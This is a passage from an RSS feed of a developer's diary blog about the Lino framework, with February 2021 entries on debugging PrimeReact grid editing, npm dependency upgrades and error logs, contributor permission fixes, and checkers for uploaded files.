    &lt;span class="n"&gt;border&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="n"&gt;px&lt;/span&gt; &lt;span class="n"&gt;solid&lt;/span&gt; &lt;span class="n"&gt;LightSkyBlue&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I later automated the download task by writing a &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;download.py&lt;/span&gt;&lt;/code&gt; script in
the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;/shared/images/pi&lt;/span&gt;&lt;/code&gt; folder.&lt;/p&gt;
&lt;p&gt;TODO: find a way so that we don’t need to copy the &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;defs.rst&lt;/span&gt;&lt;/code&gt; and the
&lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;.svg&lt;/span&gt;&lt;/code&gt; files to each repository. I agree that there are more urgent issues
in Lino.&lt;/p&gt;
&lt;/section&gt;
&lt;section id="cannot-edit-grid-cells"&gt;
&lt;h2&gt;Cannot edit grid cells&lt;a class="headerlink" href="#cannot-edit-grid-cells" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;I continued to dive around in &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3981"&gt;#3981&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;During a debugger tour I saw that the grid calls a method
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;primereact.datatable.BodyCell.bindDocumentEditListener()&lt;/span&gt;&lt;/code&gt;, which adds the
following documentEditListener:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;if (!this.documentEditListener) {
      this.documentEditListener = function (e) {
        if (_this3.isOutsideClicked(e)) {
          _this3.switchCellToViewMode(e, true);
        }
      };
    document.addEventListener(&amp;#39;click&amp;#39;, this.documentEditListener);
    }
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;And the &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;isOutsideClicked()&lt;/span&gt;&lt;/code&gt; returns true. Which is obviously wrong here.
But why? First of all, which version of PrimeReact do I have? 6.0.1. And they
released 6.0.2 some weeks ago. So let’s upgrade:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ ncu -u
Upgrading /home/luc/work/react/package.json
[====================] 34/34 100%

 primereact             ^6.0.1  →    ^6.0.2
 @babel/core          ^7.12.10  →   ^7.13.1
 @babel/preset-env    ^7.12.11  →   ^7.13.5
 @babel/preset-react  ^7.12.10  →  ^7.12.13
 css-loader             ^5.0.1  →    ^5.1.0
 cypress                ^6.3.0  →    ^6.5.0
 postcss-loader         ^4.2.0  →    ^5.0.0
 query-string          ^6.13.8  →   ^6.14.0
 webpack                    ^4  →        ^5
 whatwg-fetch           ^3.5.0  →    ^3.6.1

Run npm install to install new versions.
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;However before running &lt;cite&gt;npm install&lt;/cite&gt; I changed webpack back from 5 to 4 in my
&lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#xfile-package.json" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;package.json&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; file because switching from webpack 4 to 5 is another
topic.&lt;/p&gt;
&lt;p&gt;But the issue remains also with PR 6.0.2.&lt;/p&gt;
&lt;p&gt;I looked at the git history of &lt;code class="file docutils literal notranslate"&gt;&lt;span class="pre"&gt;datatable/BodyCell.js&lt;/span&gt;&lt;/code&gt; and saw that it has
an  &lt;a class="reference external" href="https://github.com/primefaces/primereact/commit/4972403cf188eaabf9e9ca0c6ac11d54e983210f#diff-a66ee740975e449b18b568773cc050f79cd564a058e4cf4d2b3246af0d974a03"&gt;interesting change&lt;/a&gt;
only some hours ago. And the commit message says it fixes an issue  &lt;a class="reference external" href="https://github.com/primefaces/primereact/issues/1828"&gt;#1828&lt;/a&gt;, which looks
interesting.&lt;/p&gt;
&lt;p&gt;I have a git clone of primereact on my machine. How can I “install this as the
development version”, similar to &lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;pip&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt; &lt;span class="pre"&gt;-e&lt;/span&gt;&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;In my &lt;a class="reference external" href="https://react.lino-framework.org/guide/npm.html#xfile-package.json" title="(in Lino React)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;package.json&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; I changed the version spec for primereact dependency
from &lt;cite&gt;“^6.0.2”&lt;/cite&gt; to  &lt;cite&gt;“git+https://github.com/primefaces/primereact.git”&lt;/cite&gt; and ran
&lt;code class="xref std std-cmd docutils literal notranslate"&gt;&lt;span class="pre"&gt;npm&lt;/span&gt; &lt;span class="pre"&gt;install&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Then I read &lt;a class="reference external" href="https://stackoverflow.com/questions/14381898/local-dependency-in-package-json"&gt;this thread&lt;/a&gt;
and tried &lt;cite&gt;“file:../primereact”&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;Module not found: Error: Can’t resolve ‘primereact/column’ in ‘/home/luc/work/react/lino_react/react/components’&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ rm -rf node_modules
$ npm install


npm WARN deprecated urix@0.1.0: Please see https://github.com/lydell/urix#deprecated
npm WARN deprecated har-validator@5.1.5: this library is no longer supported
npm WARN deprecated resolve-url@0.2.1: https://github.com/lydell/resolve-url#deprecated
npm WARN deprecated chokidar@2.1.8: Chokidar 2 will break on node v14+. Upgrade to chokidar 3 with 15x less dependencies.
npm WARN deprecated request@2.88.2: request has been deprecated, see https://github.com/request/request/issues/3142
npm WARN deprecated core-js@2.6.12: core-js@&amp;lt;3 is no longer maintained and not recommended for usage due to the number of issues. Please, upgrade your dependencies to the actual version of core-js@3.
npm ERR! code 1
npm ERR! git dep preparation failed
npm ERR! command /usr/local/bin/node /usr/local/lib/node_modules/npm/bin/npm-cli.js install --force --cache=/home/luc/.npm --prefer-offline=false --prefer-online=false --offline=false --no-progress --no-save --no-audit
npm ERR! npm WARN using --force Recommended protections disabled.
npm ERR! npm ERR! code ERR_SOCKET_TIMEOUT
npm ERR! npm ERR! errno ERR_SOCKET_TIMEOUT
npm ERR! npm ERR! request to http://repo.internal.cleartax.co:4873/yargs-parser/-/yargs-parser-7.0.0.tgz failed, reason: Socket timeout
npm ERR!
npm ERR! npm ERR! A complete log of this run can be found in:
npm ERR! npm ERR!     /home/luc/.npm/_logs/2021-02-26T15_26_34_708Z-debug.log

npm ERR! A complete log of this run can be found in:
npm ERR!     /home/luc/.npm/_logs/2021-02-26T15_26_36_453Z-debug.log
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0226.html</guid><pubDate>Fri, 26 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, February 25, 2021</title><link>https://luc.lino-framework.org/blog/2021/0225.html</link><description>&lt;section id="thursday-february-25-2021"&gt;
&lt;h1&gt;Thursday, February 25, 2021&lt;a class="headerlink" href="#thursday-february-25-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="contributors-in-noi"&gt;
&lt;h2&gt;Contributors in Noi&lt;a class="headerlink" href="#contributors-in-noi" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;We have a new volunteer contributor in Bangladesh.   I fixed a series of little
problems in &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Users of type &lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/users.html#lino_noi.lib.noi.UserTypes.contributor" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.noi.UserTypes.contributor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; don’t want to see
certain data, e.g. our contacts, or the tickets of teams where he is not member.
Also e.g. the &lt;a class="reference external" href="https://dev.lino-framework.org/specs/groups.html#lino_xl.lib.groups.Groups" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.groups.Groups&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; table should be viewable only
to the &lt;a class="reference external" href="https://using.lino-framework.org/jargon.html#term-site-manager" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;site manager&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;In &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.noi1e&lt;/span&gt;&lt;/code&gt;, when signing in as mathieu (a contributor)
you saw a welcome message that said you were working on ticket #1, but when
clicking on the ticket it turned out that you had no permission to see that
ticket. This was actually just because the &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; fixture for
&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.noi1e&lt;/span&gt;&lt;/code&gt; created &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;working.Session&lt;/span&gt;&lt;/code&gt; objects without
checking whether the worker is a member of the team (given by the site of the
ticket). I changed this demo fixture, which caused of course some doctests to
fail because the ticket distribution has changed. And I adapted them.&lt;/p&gt;
&lt;p&gt;The welcome messages of type “&amp;lt;worker&amp;gt; is working on &amp;lt;ticket&amp;gt;” (generated by
&lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.working.models.welcome_messages()&lt;/span&gt;&lt;/code&gt;) was always showing all workers.
Which potentially caused link to a ticket that mathieu had no permission to see.
But for a contributor it should show only sessions in teams the contributor belons to.&lt;/p&gt;
&lt;p&gt;I removed the ContactsUser role from
&lt;a class="reference external" href="https://dev.lino-framework.org/apps/noi/users.html#lino_noi.lib.noi.UserTypes.contributor" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_noi.lib.noi.UserTypes.contributor&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0225.html</guid><pubDate>Thu, 25 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, February 24, 2021</title><link>https://luc.lino-framework.org/blog/2021/0224.html</link><description>&lt;section id="wednesday-february-24-2021"&gt;
&lt;h1&gt;Wednesday, February 24, 2021&lt;a class="headerlink" href="#wednesday-february-24-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="who-can-see-the-detail-of-an-activity"&gt;
&lt;h2&gt;Who can see the detail of an activity&lt;a class="headerlink" href="#who-can-see-the-detail-of-an-activity" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yesterday I was interrupted by Johanna who reported a little regression in
&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#avanti" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Avanti&lt;/span&gt;&lt;/a&gt; after their update last week: &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3986"&gt;#3986&lt;/a&gt;. The detail link in
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/courses.html#lino_xl.lib.courses.MyCoursesGiven" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.courses.MyCoursesGiven&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; didn’t work any more for teachers.&lt;/p&gt;
&lt;p&gt;This caused me several hours of diving. As a result we have a new method
&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;get_request_detail_action&lt;/span&gt;&lt;/code&gt;. I covered the case in a
&lt;a class="reference external" href="https://dev.lino-framework.org/dev/doctests.html#term-tested-document" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;tested document&lt;/span&gt;&lt;/a&gt;:  &lt;a class="reference external" href="https://dev.lino-framework.org/specs/avanti/courses.html#avanti-specs-get-request-detail-action" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Who can see the detail of an activity?&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0224.html</guid><pubDate>Wed, 24 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Tuesday, February 23, 2021</title><link>https://luc.lino-framework.org/blog/2021/0223.html</link><description>&lt;section id="tuesday-february-23-2021"&gt;
&lt;h1&gt;Tuesday, February 23, 2021&lt;a class="headerlink" href="#tuesday-february-23-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I read the docs about PrimeReact’s DataTable:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://www.primefaces.org/primereact/showcase/#/datatable"&gt;https://www.primefaces.org/primereact/showcase/#/datatable&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The example uses axios. What’s that? Here a nice introduction:&lt;/p&gt;
&lt;p&gt;&lt;a class="reference external" href="https://dev.to/veewebcode/what-is-axios-and-how-to-use-it-4an1"&gt;https://dev.to/veewebcode/what-is-axios-and-how-to-use-it-4an1&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;Might be useful to play around with it. But not now.&lt;/p&gt;
&lt;p&gt;I still don’t fully understand what’s a state in React.&lt;/p&gt;
&lt;p&gt;A &lt;cite&gt;&amp;lt;DataTable&amp;gt;&lt;/cite&gt; component needs at least a &lt;cite&gt;value&lt;/cite&gt; attribute.
And its children must be a &lt;cite&gt;&amp;lt;Column&amp;gt;&lt;/cite&gt; components, one child per column).&lt;/p&gt;
&lt;p&gt;Once more, npm asks me to upgrade, and I do it:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;npm notice New patch version of npm available! 7.5.4 -&amp;gt; 7.5.6
npm notice Changelog: https://github.com/npm/cli/releases/tag/v7.5.6
npm notice Run npm install -g npm@7.5.6 to update!

$ sudo npm install -g npm
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;I get this warning in my JS console:&lt;/p&gt;
&lt;blockquote&gt;
&lt;div&gt;&lt;p&gt;Warning: Can’t perform a React state update on an unmounted component. This is
a no-op, but it indicates a memory leak in your application. To fix, cancel
all subscriptions and asynchronous tasks in the componentWillUnmount method.&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;This warning is caused by the &lt;cite&gt;&amp;lt;DataProvider&amp;gt;&lt;/cite&gt;, a component used by the
&lt;cite&gt;&amp;lt;DashboardItems&amp;gt;&lt;/cite&gt; component.
The &lt;cite&gt;&amp;lt;DashboardItems&amp;gt;&lt;/cite&gt; component has a dynamic list of children.&lt;/p&gt;
&lt;p&gt;I guess that the warning means “When you start a polyfill request in
componentDidMount(), then you should make sure to cancel it before the component
gets unmounted.”&lt;/p&gt;
&lt;p&gt;So how to cancel a polyfill request? The &lt;a class="reference external" href="https://www.npmjs.com/package/whatwg-fetch"&gt;whatwg-fetch docs&lt;/a&gt; has a section “Aborting
requests”. Wow:  “aborting a fetch requires use of two additional DOM APIs:
AbortController and AbortSignal. … Consequently, you will need to include an
additional polyfill for these APIs to abort fetches”. But the example seems to
do what I want, so I integrated it in &lt;cite&gt;DataProvider.js&lt;/cite&gt;  (unlike the example I
must create the abort controller during the component’s construct method, i.e.
we have one such controller for every data provider…)&lt;/p&gt;
&lt;p&gt;Funny: I got the warning “DataProvider has a method called
componentDidUnmount(). But there is no such lifecycle method. Did you mean
componentWillUnmount()?”, and the warning was right…&lt;/p&gt;
&lt;p&gt;So this added a new dependency:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;$ npm install yet-another-abortcontroller-polyfill --save
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Yes, one warning less! So I understood the reason for a problem and managed to
fix it. I guess that it wasn’t a huge problem, and my actual problem
(&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3981"&gt;#3981&lt;/a&gt;) is still there, but an encouraging experience nevertheless.&lt;/p&gt;
&lt;p&gt;I discovered that the problem starts somewhere in &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;LinoGrid.onEditorInit()&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0223.html</guid><pubDate>Tue, 23 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Saturday, February 20, 2021</title><link>https://luc.lino-framework.org/blog/2021/0220.html</link><description>&lt;section id="saturday-february-20-2021"&gt;
&lt;h1&gt;Saturday, February 20, 2021&lt;a class="headerlink" href="#saturday-february-20-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;To test the new data checkers &lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#lino.modlib.uploads.UploadChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UploadChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#lino.modlib.uploads.UploadsFolderChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UploadsFolderChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;,  I needed to write a test case that uploads some
files.&lt;/p&gt;
&lt;p&gt;I did not do this using Django test client (which might also be interesting and
is explained &lt;a class="reference external" href="https://docs.djangoproject.com/en/6.0/topics/testing/tools/#django.test.Client.post"&gt;here&lt;/a&gt;)
but by extending the demo fixtures:  &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo_bookings" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo_bookings&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; now adds
&lt;a class="reference external" href="https://using.lino-framework.org/plugins/uploads.html#term-upload-entry" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;upload entries&lt;/span&gt;&lt;/a&gt; with dummy pdf files for purchase
invoices, and &lt;a class="reference external" href="https://dev.lino-framework.org/ref/demo_fixtures.html#fixture-demo3" title="(in Lino Developer Guide)"&gt;&lt;code class="xref std std-fixture docutils literal notranslate"&gt;&lt;span class="pre"&gt;demo3&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; (in uploads) deletes one of these files
(simulating the case where it has actually got lost) and adds an orphaned file
to the uploads folder.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0220.html</guid><pubDate>Sat, 20 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Friday, February 19, 2021</title><link>https://luc.lino-framework.org/blog/2021/0219.html</link><description>&lt;section id="friday-february-19-2021"&gt;
&lt;h1&gt;Friday, February 19, 2021&lt;a class="headerlink" href="#friday-february-19-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I found and fixed two minor bugs: in &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.checkdata.html#module-lino.modlib.checkdata" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.checkdata&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: the
&lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--prune&lt;/span&gt;&lt;/code&gt; option of &lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata&lt;/span&gt;&lt;/code&gt; didn’t actually work. And
&lt;code class="xref std std-manage docutils literal notranslate"&gt;&lt;span class="pre"&gt;checkdata&lt;/span&gt;&lt;/code&gt; (without &lt;code class="docutils literal notranslate"&gt;&lt;span class="pre"&gt;--prune&lt;/span&gt;&lt;/code&gt;) didn’t remove obsolete messages of
unbound checkers.  These bugs became visible only now because
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.uploads.UploadsFolderChecker&lt;/span&gt;&lt;/code&gt; is the first &lt;a class="reference external" href="https://using.lino-framework.org/plugins/checkdata.html#term-unbound-data-checker" title="(in Lino User Guide)"&gt;&lt;span class="xref std std-term"&gt;unbound
data checker&lt;/span&gt;&lt;/a&gt; that has something to say (if we ignore
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/vat.html#lino_xl.lib.vat.VatColumnsChecker" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.vat.VatColumnsChecker&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; which is rarely used at the moment.)&lt;/p&gt;
&lt;p&gt;New configuration option
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.uploads.Plugin.remove_orphaned_files&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I reviewed the &lt;a class="reference external" href="https://dev.lino-framework.org/plugins/checkdata.html#book-specs-checkdata" title="(in Lino Developer Guide)"&gt;&lt;span&gt;checkdata : Application-level data integrity tests&lt;/span&gt;&lt;/a&gt; page.
Seems I found a way to properly document the
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/checkdata.html#lino.core.model.Model.check_data" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;check_data&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; and
&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/checkdata.html#lino.core.model.Model.fix_problems" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;fix_problems&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; actions.&lt;/p&gt;
&lt;p&gt;I converted the settings package of &lt;a class="reference external" href="https://dev.lino-framework.org/api/lino_book.projects.avanti1.html#module-lino_book.projects.avanti1" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_book.projects.avanti1&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; into a
simple &lt;a class="reference external" href="https://hosting.lino-framework.org/settings/#xfile-settings.py" title="(in Lino Hosting Guide)"&gt;&lt;code class="xref std std-xfile docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.py&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; module. Mostly because I want to write demo fixtures
that upload files, and the media folder is “at the wrong place” in projects with
a settings package.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0219.html</guid><pubDate>Fri, 19 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Thursday, February 18, 2021</title><link>https://luc.lino-framework.org/blog/2021/0218.html</link><description>&lt;section id="thursday-february-18-2021"&gt;
&lt;h1&gt;Thursday, February 18, 2021&lt;a class="headerlink" href="#thursday-february-18-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I pushed my yesterday’s work.  &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3982"&gt;#3982&lt;/a&gt; (Managing the size of uploaded
files) is not yet finished, but the new Upload.file_size field is there, the
test suites pass again after all these side effects. Now I will hopefully go on
with the next step, which is to add a data checker for uploads.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2021/0218.html</guid><pubDate>Thu, 18 Feb 2021 00:00:00 +0000</pubDate></item><item><title>Wednesday, February 17, 2021</title><link>https://luc.lino-framework.org/blog/2021/0217.html</link><description>&lt;section id="wednesday-february-17-2021"&gt;
&lt;h1&gt;Wednesday, February 17, 2021&lt;a class="headerlink" href="#wednesday-february-17-2021" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;I had an avalanche of ideas about what’s to do next.&lt;/p&gt;
&lt;p&gt;Note: This is a situation where it’s more efficient to write a &lt;a class="reference external" href="https://dev.lino-framework.org/dev/devblog.html#term-developer-blog" title="(in Lino Developer Guide)"&gt;&lt;span class="xref std std-term"&gt;developer
blog&lt;/span&gt;&lt;/a&gt; entry. Otherwise I started to use our commenting system (&lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#noi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Noi&lt;/span&gt;&lt;/a&gt;) more
intensively. Because a reporting-what-you-do approach based on comments in a
database (rather than daily blog entries) is more suitable whenever you are not
alone.&lt;/p&gt;
&lt;p&gt;Here is an overview of the ideas (all except the first are just ideas ATM):&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/specs/uploads.html#module-lino.modlib.uploads" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.uploads&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; :
Add a field &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;file_size&lt;/span&gt;&lt;/code&gt;. Add a view where files are sorted by size.
Move the Uploadable mixin to the uploads plugin because it is used only there.
Add a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;UploadChecker&lt;/span&gt;&lt;/code&gt;, which verifies that the file still exists and the size matches.
Report files under uploads root that do not have an &lt;cite&gt;Upload&lt;/cite&gt; entry.
I started working on this as &lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/3982"&gt;#3982&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;A future &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino_xl.lib.gallery&lt;/span&gt;&lt;/code&gt; plugin would depend on &lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;uploads&lt;/span&gt;&lt;/code&gt; and
add views to manage and uploads that are considered as pictures.  But what is
a picture?  What about the existing &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;Upload.mimetype&lt;/span&gt;&lt;/code&gt; field? Can we use
this? Or do we need a an additional choicelist &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;uploads.FileTypes&lt;/span&gt;&lt;/code&gt; and
set &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;file_type.is_image&lt;/span&gt;&lt;/code&gt; to True for pictures?&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/api/lino.modlib.comments.html#module-lino.modlib.comments" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.comments&lt;/span&gt;&lt;/code&gt;&lt;/a&gt; : Review the demo comments to make them more
convincing. Use a &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;CommentingAreas&lt;/span&gt;&lt;/code&gt; choicelist instead of a generic
foreign key. Add commenting to &lt;a class="reference external" href="https://dev.lino-framework.org/apps.html#cosi" title="(in Lino Developer Guide)"&gt;&lt;span&gt;Lino Così&lt;/span&gt;&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;a class="reference external" href="https://dev.lino-framework.org/plugins/changes.html#module-lino.modlib.changes" title="(in Lino Developer Guide)"&gt;&lt;code class="xref py py-mod docutils literal notranslate"&gt;&lt;span class="pre"&gt;lino.modlib.changes&lt;/span&gt;&lt;/code&gt;&lt;/a&gt;: Add a config parameter to say that we want to
forget changes that are older than a number of days. Add a method
